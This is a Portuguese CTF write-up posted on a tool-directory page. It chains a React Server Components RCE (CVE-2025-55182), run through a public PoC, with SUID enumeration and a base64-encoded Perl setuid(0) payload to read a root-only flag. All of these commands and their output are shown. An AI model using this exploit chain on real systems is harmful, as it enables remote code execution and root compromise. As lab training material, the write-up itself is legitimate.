Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
Escalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoExploração de Binários

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Labs e Prática
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] Endpoint do React Server Component vulnerável a CVE-2025-55182 (RCE) → enumerou binários SUID → /usr/bin/perl tinha SUID definido → usou POSIX setuid(0) do Perl para escalar para root → leu /root/flag.txt

Ver Repositório
há 4 mesesAinda não revisado

CVE-2025-55182 — React Server Components RCE | Writeup de CTF

Categoria: Exploração Web | Dificuldade: Médio | Vulnerabilidade: Execução Remota de Código → Escalação de Privilégio SUID


TL;DR

Endpoint do React Server Component vulnerável ao CVE-2025-55182 (RCE) → enumerou binários SUID → /usr/bin/perl tinha o bit SUID ativado → usou setuid(0) do POSIX do Perl para escalar para root → leu /root/flag.txt.

Flag: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


Passo 1 — Reconhecimento

Alvo: http://challenge.cybermesh.site:30035/

O alvo era uma aplicação web baseada em React que utilizava React Server Components (RSC) — uma arquitetura relativamente nova que executa componentes do lado do servidor e transmite a saída serializada de volta ao cliente através de um formato de fio personalizado.

Essa arquitetura introduz um limite de execução no lado do servidor. O tratamento inadequado de entrada nesse limite é exatamente o que o CVE-2025-55182 explora.


Passo 2 — Vulnerabilidade: CVE-2025-55182

React Server Components RCE — O servidor não consegue sanitizar a entrada controlada pelo usuário antes que ela alcance a camada de execução do componente no servidor. Isso permite que um atacante injete comandos de shell do sistema operacional que executam no contexto do processo Node.js.

Fluxo do ataque:

  1. O atacante cria um payload RSC malicioso
  2. O servidor desserializa a entrada e passa valores não saneados para uma função de componente do servidor
  3. O comando do SO é executado, a saída é transmitida de volta na resposta RSC
  4. O atacante lê a saída do comando do corpo da resposta

Passo 3 — Configuração do Exploit

Existe um PoC público para este CVE:

root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

Verificação inicial — confirmando RCE e contexto de execução:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

Saída:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► app

O servidor executa como usuário app. Não é root — escalação necessária.


Passo 4 — Enumeração SUID

Vasculhando por binários SUID:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

Saída:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl tem o bit SUID ativado. Este é um GTFOBin bem conhecido — quando o Perl pertence ao root e tem SUID, ele executa com privilégios de root independentemente de quem o invoca.


Passo 5 — Escalação de Privilégio via SUID Perl

Construiu um payload Perl codificado em base64 que:

  • Define o PATH
  • Chama POSIX::setuid(0) para escalar para root
  • Abre e lê /root/flag.txt

Entregue através do endpoint RCE:

root@kitploit:~
python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

O payload decodificado é aproximadamente:

root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

Saída:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Flag

root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Principais Lições

1. A superfície de ataque do RSC é subestimada. React Server Components são um novo paradigma. Muitas implantações não foram endurecidas contra injeção de entrada no limite do componente do servidor. Este CVE é um lembrete de que "renderização do lado do servidor" não é intrinsecamente segura — o limite de execução ainda precisa de sanitização adequada.

2. SUID em runtimes de scripts = root instantâneo. /usr/bin/perl com SUID é uma configuração incorreta clássica. O GTFOBins cobre isso em detalhes. Nunca defina o bit SUID em linguagens de script (Perl, Python, Ruby, etc.) — ao contrário de binários compilados projetados para SUID (su, passwd), esses runtimes oferecem caminhos de escalação triviais.

3. A flag é autoconsciente. SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — o desafio foi explicitamente projetado em torno do SUID Perl como o caminho de escalação pretendido. Cadeia limpa.


Resumo da Cadeia de Ataque

root@kitploit:~
CVE-2025-55182 (RSC RCE)
    └─> whoami → usuário "app"
    └─> encontrar binários SUID
    └─> /usr/bin/perl (SUID root) identificado
    └─> payload Perl em base64 → escrever em /tmp/p.pl
    └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> FLAG ✓

Referências

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

Escrito por Abdullah Maqbool — Engenheiro de Testes de Penetração @ TISS | CRTA · CRTOM · CompTIA PenTest+

Baixar ferramenta